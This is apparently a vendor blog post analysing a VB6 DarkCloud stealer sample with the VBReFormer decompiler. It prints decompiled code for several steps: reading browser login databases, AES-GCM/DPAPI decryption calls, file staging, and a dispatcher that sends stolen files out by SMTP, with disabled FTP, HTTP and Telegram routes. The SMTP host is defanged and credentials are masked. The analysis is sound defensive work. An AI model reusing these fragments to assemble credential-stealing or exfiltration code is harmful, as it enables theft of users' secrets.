A Visual Basic 6 executable can steal credentials, stage files and ship them over several channels while staying opaque to a plain string extractor. The useful values are scattered across VB metadata, Unicode strings, procedure arguments and calls into the MSVBVM60.DLL runtime.
Malva.RE, a static malware analysis platform and our partner since July, has integrated VBReFormer Gen2 (V7) into its analyses. First case documented by its analysts: a sample of the DarkCloud stealer, version 4.9, written in VB6 and compiled to native code.
The result goes beyond a list of strings. The code rebuilt by VBReFormer makes it possible to tell the enabled SMTP transport apart from the three FTP, HTTP and Telegram branches disabled in this build, then to recover the server, accounts, port, SSL setting, authentication mode and file staging directory.

Module7.proc_46CD10 in VBReFormer Online, values as decompiled.The sample was never executed. Decompilation, YARA rule and analysis worked on its bytes only. What follows describes the code and its static configuration, not a network observation.
The case can be browsed in VBReFormer Online: the configuration procedure Module7.proc_46CD10 and the Form1 form. The sample's analysis report is open on Malva.RE.
The sample
| Property | Observation |
|---|---|
| SHA-256 | 367383cfaa2ffc1404ba4ac1364a96992d78e036a0a67c994fbd6686f636474e |
| Size | 471,040 bytes (460 KiB) |
| Format | x86 PE executable, sections .text, .data, .rsrc |
| Imported runtime | MSVBVM60.DLL |
| Compilation detected by VBReFormer | Native code |
| Internal marker | Agent: DARKCLOUD V4.9 |
| Execution | None |
Version 4.9 comes from a string inside the program: it identifies, it does not guarantee. Nor does the MSVBVM60.DLL import tell you which APIs the program uses: VB declarations and late-bound calls bring in operations that are absent from the import table.
This study covers a native VB6 sample. VBReFormer Gen2 also handles P-code VB5/VB6 executables, but each file requires identifying its compilation mode: conclusions drawn on this program do not automatically describe another sample.
YARA: a hunting entry point
The Hunt_DarkCloud_Stealer_Variants rule was published by Evelyne Diaz Araque at Stairwell on 21 August 2025 (rule and context). It accepts three alternative matches: at least six $s* indicators; one $d* marker with at least three $t* strings; or at least four $c* indicators.
The test, run with YARA 4.1.1 without changing the strings, their modifiers or the condition, gives:
| Group | Indicators present | Condition | Result |
|---|---|---|---|
$s* | 14 / 14 | At least 6 | Met |
$d* | 0 / 6 | At least 1, with $t* | Not met |
$t* | 0 / 6 | At least 3, with $d* | Not met |
$c* | 0 / 6 | At least 4 | Not met |
Since the conditions are alternatives, the fourteen $s* indicators are enough. Encodings matter: a UTF-16LE string is not found by an ascii search, and fullword enforces a word boundary. For the analyst, the match is only a starting point: the version marker, VB6 references, collection routines and exfiltration procedure then provide independent corroboration.
What VBReFormer rebuilt
| File | Role |
|---|---|
Project1.vbp | Rebuilt project description |
Form1.frm / .frx | Form, properties, event handlers and binary resources |
Module1.bas | Credential collection and processing |
Module2.bas | Initialisation, staging, utilities, cryptography |
Module3.bas | Contact collection and preparation |
Module5.bas | Reading mail client data |
Module7.bas | Exfiltration routing and transports |
| Companion files | Reading aids and flags for elements not restored |
EXPORT-NOTES.txt | Export diagnostics |
Eleven files, eight of them code views: five application modules, one form and two generated helper modules, not to be confused with eight original modules. The point is to read each routine in context: the form's events lead to initialisation, the collection modules prepare files, and the transport module receives the values needed for sending.
The output remains a reconstruction: local names and original comments are not in the executable. Names such as proc_46CD10 or g_471034 are for navigation; they are not the author's. In the excerpts below, procedures keep their export names, cuts are stated and sensitive identifiers masked.
From an invisible form to collection
The entry point
Form1.frm declares Visible = 0 and ShowInTaskbar = 0: a VB form does not imply a visible window. Its load event starts initialisation:
Private Sub Form_Load()
On Error Resume Next
Module2.proc_45E960
End Sub
On Error Resume Next is preserved: it does not mean the following operations succeed; it can just as well hide their failures.

Form1 in VBReFormer Online: Form_Load starts initialisation, Timer5_Timer walks the staging directory.A per-user staging directory
g_471034 = CStr(((((Environ("AppData") + "\Microsoft\Windows\Templates\") + Environ("COMPUTERNAME")) & "-") & Environ("USERNAME")))
That is %AppData%\Microsoft\Windows\Templates\%COMPUTERNAME%-%USERNAME%. To document the behaviour, these variables stay symbolic: the real path depends on the targeted machine and user, and replacing it with the analysis workstation's profile would lose that information. The same procedure looks for winsqlite3.dll, falls back to vbsqlite3.dll and a Picture2 resource, then calls the collection routines Module1.proc_4452A0 and Module3.proc_468300.
Browser credentials: SQLite and cryptography
ErrStr = "SELECT origin_url, username_value, password_value FROM logins"
The code also targets the Login Data and Web Data databases, reads Local State and its os_crypt / encrypted_key fields, and calls CryptUnprotectData as well as the CNG APIs:
If BCryptOpenAlgorithmProvider(var_5C, VarPtr("AES"), 0, 0) < 0 Then
ElseIf BCryptSetProperty(var_5C, VarPtr("ChainingMode"), VarPtr("ChainingModeGCM"), 32, 0) < 0 Then
ElseIf BCryptGenerateSymmetricKey(var_5C, var_14, 0, 0, VarPtr(arg_8(0)), (UBound(arg_8, 1) + 1), 0) < 0 Then
Else
' Rest of the procedure omitted from this excerpt.
End If
These lines establish the presence of AES-GCM reading and decryption paths. They do not show that the sample would recover secrets from every browser version: DPAPI depends on the user and machine context, and the analysis decrypted no data.
Contacts and files staged for sending
Module3.proc_468300 calls routines in Module5 and prepares files prefixed Contacts_Thunderbird_, Contacts_163MailContacts_ or Contacts_EMClient10Contacts_:
g_471064 = Module5.proc_4696A0()
If g_471064 <> vbNullString Then
' Path construction and result writing omitted.
Module7.proc_46CD10 var_28, var_2C
Sleep 1000
End If
The exfiltration procedure receives a label and a file path, only when collection returned something. A timer, Form1.Timer5_Timer, also walks the staging directory with the labels Cookies, Contacts, Screenshot and KeyData. Two caveats: a counter of 1000 events is not a proven 1000 ms period (SetTimer), and those labels do not prove that a keylogger or screen capture works in this build. It is a file selection and sending mechanism.
The configuration is read in the dispatcher
The central procedure is Module7.proc_46CD10. It holds four branches whose constant conditions decide which ones are live. Open this procedure in VBReFormer Online →
If 0 = -1 Then
sStrFtpPass = "@StrFtpPass"
sStrFtpUser = "@StrFtpUser"
sStrFtpServer = "@StrFtpServer"
proc_46CD10 = Module7.proc_46EEA0(sStrFtpServer, sStrFtpUser, sStrFtpPass, arg_C)
End If
If -1 = -1 Then
var_38 = 0
var_4C = 587
smtpPassword = "<PASSWORD_MASKED>"
smtpUsername = "<SMTP_ACCOUNT_MASKED>"
smtpServer = "<SMTP_HOST>"
smtpRecipient = "<RECIPIENT_MASKED>"
proc_46CD10 = Module7.proc_46DBA0(smtpRecipient, smtpServer, smtpUsername, smtpPassword, arg_8, arg_C, var_4C, var_38)
End If
If 0 = -1 Then
sGateUrl = "@GateUrl"
proc_46CD10 = Module7.proc_46CFF0(arg_8, arg_C, sGateUrl)
End If
If 0 = -1 Then
sChatID = "@ChatID"
sStrBotToken = "@StrBotToken"
proc_46CD10 = Module7.proc_46E5A0(sStrBotToken, sChatID, arg_8, arg_C)
End If
In VB, False is 0 and True is -1, like COM's VARIANT_BOOL. 0 = -1 is therefore always false, -1 = -1 always true:
| Transport | Condition | State in this build | Values |
|---|---|---|---|
| FTP | 0 = -1 | Disabled | Builder markers |
| SMTP | -1 = -1 | Enabled | Parameters filled in |
| HTTP | 0 = -1 | Disabled | @GateUrl |
| Telegram | 0 = -1 | Disabled | @StrBotToken, @ChatID |
This structure is consistent with an agent produced by a builder offering several output modes. That is an inference from the code, without access to the builder.
SMTP: what the source says, what the binary completes
The dispatcher passes eight arguments to proc_46DBA0. A few lines of that procedure make the intent readable:
var_40.To = arg_8
var_40.Subject = arg_18
var_40.TextBody = ""
Set var_2C = var_40.Configuration
var_2C.fields("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
var_2C.fields("http://schemas.microsoft.com/cdo/configuration/sendusername") = arg_10
var_2C.fields.Update
var_40.send

Module7.proc_46DBA0 in VBReFormer Online: CDO configuration, late-bound calls flagged as comments, subject built from COMPUTERNAME and USERNAME.How each argument is used inside the procedure establishes its role:
Parameter of proc_46DBA0 | Role established by its use |
|---|---|
arg_8 | Message recipient |
arg_C | SMTP server |
arg_10 | SMTP account, also used as sender |
arg_14 | Password passed to the send configuration |
arg_18 | Label used in the subject |
arg_1C | Path of the file to attach |
arg_20 | SMTP port |
arg_24 | SSL setting value |
The authentication account is therefore not necessarily the data's recipient, and the build's fixed parameters (server, port) separate from those assembled at collection time (subject, file). The subject in fact combines the label, COMPUTERNAME, USERNAME and a global value whose exact role is not established.
For one CDO setting, the export states plainly what it did not rebuild:
' [runtime non reconstruit] __vbaLateCallSt var_2C, &H44465C&, 1, 1
That comment sends you back to the disassembly, rather than guessing an assignment from a nearby password. Near the http://schemas.microsoft.com/cdo/configuration/smtpauthenticate string:
0046e1b3 mov eax, 0x444670
0046e1b8 mov dword ptr [ebp - 0xdc], eax
0046e1be mov ecx, 8
0046e1c3 mov dword ptr [ebp - 0xe4], ecx
0046e1c9 mov dword ptr [ebp - 0xfc], 1
0046e1d3 mov dword ptr [ebp - 0x104], 2

__vbaVarLateMemCallSt call (line 432), then the 0x444670 string and the type 2 VARIANT holding 1 (lines 433 to 438).Type 2 with value 1 is a VT_I2 VARIANT holding 1; type 8 is a BSTR (VARENUM). For CDO, smtpauthenticate=1 means cdoBasic (CdoProtocolsAuthentication). The rebuilt text locates the operation; the native instructions supply the proof. On another file, addresses and instructions would need examining again.
| Field | Published result |
|---|---|
| Transport | SMTP enabled |
| Server | mail[.]mokasco[.]com (defanged) |
| Port | 587 |
| Account, sender, recipient | In clear in the file; masked here |
| Password | In clear in the file; masked here |
| SSL | false |
| Authentication | 1 (cdoBasic) |
The host is a value extracted from the binary. It says nothing about the server's current activity or the author's identity: a configured domain does not attribute the operation to its owner. Likewise, port 587 and UseSsl=false are static settings: without execution or network capture, no negotiation, authentication or delivery was observed.
Transports present but disabled
The FTP path uses InternetOpenA, InternetConnectA on port 21, then FtpPutFileA. The HTTP path builds a URL from a gateway and an ?id= parameter. The Telegram procedure holds a recognisable construction:
var_28 = ((((("https://api.telegram.org/bot" & arg_8) & "/sendDocument?chat_id=") & arg_C) & "&caption=") & arg_10)

Module7.proc_46E5A0 in VBReFormer Online: the Telegram route exists in the code, but the dispatcher never calls it.But @StrBotToken and @ChatID were never replaced, and the call is disabled: api.telegram.org is not this sample's exfiltration infrastructure. Another build could fill in this channel while keeping most of the collection code: a transport's name, the presence of its code and its activation are three different observations.
Finally, the end of the dispatcher holds If proc_46CD10 = -1 Then Kill arg_C. In the dispatcher, arg_C is the file to transmit: it is deleted after a positive transport result. That is neither self-deletion of the executable nor proof of actual delivery.
Three cryptographic questions not to confuse
The presence of AES-GCM and DPAPI does not mean the SMTP configuration is encrypted:
| Topic | Observation in the sample |
|---|---|
| Protection of targeted secrets | Routines involving decryption APIs and profile data |
| Storage of exfiltration parameters | SMTP accounts and password in clear in this file |
| Network transport protection | SSL disabled in the configuration; actual exchange not observed |
Concluding "AES-encrypted configuration" from BCryptDecrypt alone would miss what these procedures do: you have to follow each routine's inputs and outputs.
Why VB6 is hard to decompile
The runtime hides part of the meaning. In a VB6 program, type conversions, object handling, string management and member calls go through the runtime. The name __vbaLateCallSt does not, on its own, reveal that a CDO property configures authentication: you have to identify the object, the property and the arguments. A wrong reading turns a setting into an unknown value, or gives one parameter its neighbour's role.
An address does not tell you a datum's type. In x86, an integer, a pointer and a handle take the same space. VB6 adds its own conventions: a BSTR carries its length, a VARIANT its type, a byte array does not read like a string. In the SMTP transport, a 0 or -1 boolean has to be told apart from port 587 or authentication mode 1.
The PE entry point is not the whole program. An event-driven program lives in its forms: here, Form_Load starts initialisation and Timer5_Timer drives a recurring file selection. The Picture2 reference in a SQLite-related fallback also justifies examining the form's resources.
Native and P-code are two different problems. One leads to x86 instructions, the other to VB virtual machine instructions. The questions are the same (which data, which transformations, which destination); the path to the answers differs. The details are in P-Code or native code and Decompiler or disassembler.
What VBReFormer Gen2 brings
For this study, VBReFormer Gen2 (V7) provides a representation of the program in which forms, procedures and calls are studied together. You go from Form1 to Module2.proc_45E960, then from the collection routines to Module7.proc_46CD10: the question "where does the data go?" is answered from an identifiable procedure, its conditions and its arguments.
| Analysis question | Code element that answers it |
|---|---|
| Which event starts initialisation? | Form1.Form_Load |
| Where are results prepared? | Construction of g_471034 in Module2 |
| Which data is targeted? | SQLite queries, profile paths, contact routines |
| Which transport is selected? | Conditions in Module7.proc_46CD10 |
| What do the accounts found correspond to? | Use of the arguments in the SMTP procedure |
| What happens to the file after sending? | Kill arg_C in the dispatcher |
The gain is most visible in the dispatcher: four transports appear in the file, but reading the constant comparisons establishes that only one is enabled. A string list would have kept four hypotheses. A key, an account, a URL or a file name take their meaning from their place in the program, and each finding can be shared by pointing at a procedure and an instruction.
The scope stays precise: these excerpts demonstrate the analysis of a native VB6 DarkCloud. They do not guarantee full restoration of every VB5/VB6 executable.
What the analysis does not claim
- A clear-text configuration in this sample does not mean every DarkCloud version stores its parameters the same way. The SMTP server belongs to this build, not to a family signature.
- Some fragments of the rebuilt code remain incomplete: a value not restored stays an open question until the file settles it.
- Crypto API names, CDO schemas and domains of legitimate services are not, by themselves, malicious IOCs. The
@GateUrl,@StrBotTokenand@ChatIDmarkers are not network IOCs. - No connection to the SMTP server, credential test or send attempt was made.
Explore the case
The Module7.proc_46CD10 configuration view shows the four transport branches and the difference between filled-in parameters and builder markers. The Form1 view starts from the form's events and leads back to initialisation and collection.
For an analyst reading a Malva.RE report, such as this sample's, access to the decompilation makes it possible to check the results against the behaviour the procedures describe: which routine collects the data, which condition allows sending, which arguments name the destination.